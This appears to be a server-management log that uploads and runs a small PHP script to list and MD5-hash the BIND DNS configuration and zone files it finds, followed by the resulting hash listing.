MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 14:59:29: Establishing a connection
2025-08-26 14:59:29:
PUT: /tmp/pkp568497
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 14:59:29:
runuser -l bind -s /bin/bash -c '/tmp/pkp568497; rm /tmp/pkp568497'
2025-08-26 14:59:29:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
